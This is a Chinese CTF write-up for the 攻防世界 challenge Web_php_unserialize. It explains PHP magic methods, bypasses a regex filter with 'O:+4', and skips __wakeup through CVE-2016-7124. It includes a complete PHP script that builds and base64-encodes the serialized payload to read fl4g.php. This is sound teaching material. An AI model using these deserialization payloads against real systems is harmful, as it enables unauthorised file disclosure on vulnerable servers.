刚学php序列化/反序列化遇到的坑(攻防世界:Web_php_unserialize)

刚开始遇到题目的时候,思路还是很明确。

原题入口:攻防世界 (xctf.org.cn) 中的 Web_php_unserialize

两个函数

php 复制代码
serialize()     //将一个对象转换成一个字符串
unserialize()   //将字符串还原成一个对象

首先看到 **unserialize()**可以知道基本上能得知突破口在 php 的反序列化问题上。

1、__construct()

触发:使用关键字new实例化对象时会自动调用构造方法3.

2.__desctruct()

触发:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

3.__wakeup

触发:反序列化恢复对象前调用该方法。

序列化对象:

php 复制代码
<?php
header('Content-type:text/html;charset=utf-8');
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        print("<br>调用了__destruct<br>");
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        print("<br>调用了__wakeup<br>");
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$d = new Demo("fl4g.php");
$er = serialize($d);
print($er);
?>

查看结果(为了方便看到调用哪个魔术方法。我自行在类中打印调用过程):

此时测试base64编码的值,会发现会被正则表达式检测到。

'/oc:\d+:/i'含义是:匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写

是定义匹配的字符范围

oc是匹配o或c任意一个

xyz 字符集合。匹配所包含的任意一个字符。例如, 'abc' 可以匹配 "plain" 中的 'a'。

常见绕过方式:利用+绕过。所以将POC改成

'O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}'

此时已经成功绕过了正则判断,但由于序列化对象会先执行__wakeup(),当 this 的 file 不为 index.php 的时候,会将 this->file 强行改为 index.php。所以需要绕过 __wakeup()。

漏洞:

PHP反序列化漏洞(cve-2016-7124)

漏洞版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

漏洞利用方法:

若在对象的魔法函数中存在的__wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

所以构造的POC为:

'O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}'

此时有个坑,就是这里的 file 变量为私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即%00),类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00。 (所以并不能直接复制粘贴取base64编码)

所以,我选择利用 php 自带的chr() 函数进行拼接,再利用 base64_encode() 得出结果。

关键语句:

php 复制代码
$err = 'O:+4:"Demo":2:{s:10:"'.chr(0).'Demo'.chr(0).'file";s:8:"fl4g.php";}';

构造poc,生成最终的编码

php 复制代码
<?php
header('Content-type:text/html;charset=utf-8');
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        print("<br>调用了__destruct<br>");
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        print("<br>调用了__wakeup<br>");
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$err = 'O:+4:"Demo":2:{s:10:"'.chr(0).'Demo'.chr(0).'file";s:8:"fl4g.php";}';
print($err.'的base64编码结果为:'.base64_encode($err).'<br>');
?>

查看结果:

最后将结果拼接在var参数中:

拿到flag。

相关推荐
CV工程师丁Sir9 分钟前
ArkWeb 手记 06|window.open 与页面跳转拦截
开发语言·php·harmonyos
夜不会漫长12 分钟前
C++:内存管理
java·开发语言·c++
芯盾时代14 分钟前
从《人工智能安全治理框架3.0》看智能体安全治理
人工智能·安全·网络安全·智能体
徐小黑ACG18 分钟前
Golang 基础01
开发语言·后端·golang
可乐鸡翅yeah_24 分钟前
HLS 业务 Referer‑Policy 网页元标签引发播放异常排错
前端·javascript·网络·ffmpeg·php·音视频
进击的大海贼24 分钟前
基于C#开发的久坐提醒工具
开发语言·c#
平生幻28 分钟前
unbuntu虚拟机确认python安装位置
开发语言·python
vipxieliang32 分钟前
PHP 依赖注入容器从零实现:控制反转、手动注入与容器管理全解析
后端·php
运维行者_40 分钟前
PHP性能监控怎么做?从响应时间到慢函数的6个关键指标
运维·服务器·开发语言·网络·支持向量机·php·接口隔离原则
Wang's Blog43 分钟前
Java框架 SpringCloud 快速入门: Nacos 配置管理之添加配置与 dataId 命名规范
java·开发语言·spring cloud